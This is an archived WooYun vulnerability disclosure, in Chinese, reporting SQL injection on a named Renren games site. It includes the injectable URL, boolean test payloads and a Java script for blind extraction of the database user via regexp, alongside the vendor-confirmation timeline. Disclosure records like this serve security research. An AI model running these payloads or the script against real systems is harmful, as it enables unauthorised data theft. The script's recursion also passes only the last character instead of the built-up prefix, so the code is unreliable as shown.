破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

人人网某站SQL注入(附注入脚本)

编号158645
Urlhttp://www.wooyun.org/bug.php?action=view&id=158645
漏洞状态厂商已经确认
漏洞标题人人网某站SQL注入(附注入脚本)
漏洞类型SQL注射漏洞
厂商人人网
白帽子路人甲
提交日期2015-12-06 09:51:00
公开日期2016-01-21 10:30:00
修复时间(not set)
确认时间2015-12-07 00:00:00
Confirm Spend1
漏洞标签php+数字类型注射
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank7
漏洞简介
奇葩。
漏洞细节

好多大神挖,不知道会不会重复。

注入点:
http://ku.games.renren.com/?proid=14


http://ku.games.renren.com/?proid=14 and 1=1  #响应数据
http://ku.games.renren.com/?proid=14 and 1=2 #数据为空


很简单的一个注入,但是用sqlmap无法跑起来,手动测试发现有 "," 的时候sql语句无法成功执行。
问了大神,可以用regexp来规避 ","
于是花了点时间写了一个脚本:(代码渣,轻喷。)

public class GetUser {
static int no=0;
public static void main(String[] args) {
test(null);
}
public static void test(String key){
if(key==null){
key="";
}
String url = "http://ku.games.renren.com/?proid=14";
String[] payloads = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v",
"w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7",
"8", "9", "@", "_", ".","~"};
if(no==0){
no=WebUtils.getHtmlContextAll(url+URLEncoder.encode(" AND 1=1")).length();
}
for (int j = 0; j < payloads.length; j++) {
String testpayload=" and (select+user()) regexp '^"+key+payloads[j]+"'";
String request=url+URLEncoder.encode(testpayload);
try {
String html = WebUtils.getHtmlContextAll(request);
System.out.print("..");
if(html.length() >= no) {
System.err.println(key+payloads[j]);
test(payloads[j]);
break;
}
} catch (Exception e) {
}
}
}
}


POC

renrensqli.jpg

修复方案

过滤。

状态信息 2015-12-06: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经确认,细节仅向厂商公开
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开
厂商回复谢谢,非常感谢,我们会尽快修复。
回应信息危害等级:中漏洞Rank:7 确认时间:2015-12-07 10:22